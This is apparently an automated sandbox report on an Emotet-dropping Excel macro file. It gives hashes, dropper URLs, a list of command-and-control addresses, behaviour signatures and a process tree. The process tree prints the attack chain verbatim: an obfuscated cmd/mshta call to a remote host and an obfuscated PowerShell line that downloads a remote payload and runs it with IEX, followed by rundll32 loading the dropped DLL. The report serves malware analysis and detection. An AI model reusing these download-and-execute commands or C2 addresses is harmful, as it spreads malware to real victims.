Analysis

  • max time kernel
    109s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    21/01/2022, 05:47

General

  • Target

    6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm

  • Size

    49KB

  • MD5

    cd7a6da12697f937963a4364a85aad3d

  • SHA1

    497f9465dc7bc3e7a14d1e7b97ffa74414805eb3

  • SHA256

    6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a

  • SHA512

    9f0652b62aa8a3cb3bd4cb306ec4c76d5f45ff99d7ad901b97c398d569e355c3af61780a8d9a8cc89db326ce8edbb98b129d2b1d1faa3310701a093fa9d6dde8

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2744
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3768
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2264
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:672
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3968
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwbyvnf\xbkvucfbdye.eqt",jDbqIFVW
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2136
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwbyvnf\xbkvucfbdye.eqt",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1176
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2576 -s 1652
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3596

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/672-317-0x0000000000530000-0x0000000000558000-memory.dmp

          Filesize

          160KB

        • memory/1176-339-0x0000000004AE0000-0x0000000004B08000-memory.dmp

          Filesize

          160KB

        • memory/1176-351-0x00000000050F0000-0x0000000005118000-memory.dmp

          Filesize

          160KB

        • memory/1176-349-0x0000000005070000-0x0000000005098000-memory.dmp

          Filesize

          160KB

        • memory/1176-347-0x0000000004E80000-0x0000000004EA8000-memory.dmp

          Filesize

          160KB

        • memory/1176-345-0x0000000004D90000-0x0000000004DB8000-memory.dmp

          Filesize

          160KB

        • memory/1176-343-0x0000000004CA0000-0x0000000004CC8000-memory.dmp

          Filesize

          160KB

        • memory/1176-341-0x0000000004BC0000-0x0000000004BE8000-memory.dmp

          Filesize

          160KB

        • memory/1176-337-0x00000000048F0000-0x0000000004918000-memory.dmp

          Filesize

          160KB

        • memory/2136-332-0x0000000004230000-0x0000000004258000-memory.dmp

          Filesize

          160KB

        • memory/2264-308-0x0000026292CC6000-0x0000026292CC8000-memory.dmp

          Filesize

          8KB

        • memory/2264-303-0x00000262AB4E0000-0x00000262AB556000-memory.dmp

          Filesize

          472KB

        • memory/2264-271-0x0000026292D00000-0x0000026292D22000-memory.dmp

          Filesize

          136KB

        • memory/2264-273-0x0000026292CC0000-0x0000026292CC2000-memory.dmp

          Filesize

          8KB

        • memory/2264-275-0x0000026292CC3000-0x0000026292CC5000-memory.dmp

          Filesize

          8KB

        • memory/2264-292-0x00000262AB0C0000-0x00000262AB0FC000-memory.dmp

          Filesize

          240KB

        • memory/2744-114-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-116-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-376-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-127-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

          Filesize

          64KB

        • memory/2744-117-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-375-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-374-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-373-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-115-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

          Filesize

          64KB

        • memory/2744-128-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

          Filesize

          64KB

        • memory/3968-329-0x0000000004890000-0x00000000048B8000-memory.dmp

          Filesize

          160KB

        • memory/3968-320-0x0000000000820000-0x0000000000848000-memory.dmp

          Filesize

          160KB

        • memory/3968-325-0x0000000004720000-0x0000000004748000-memory.dmp

          Filesize

          160KB

        • memory/3968-327-0x0000000004830000-0x0000000004858000-memory.dmp

          Filesize

          160KB

        • memory/3968-331-0x00000000049F0000-0x0000000004A18000-memory.dmp

          Filesize

          160KB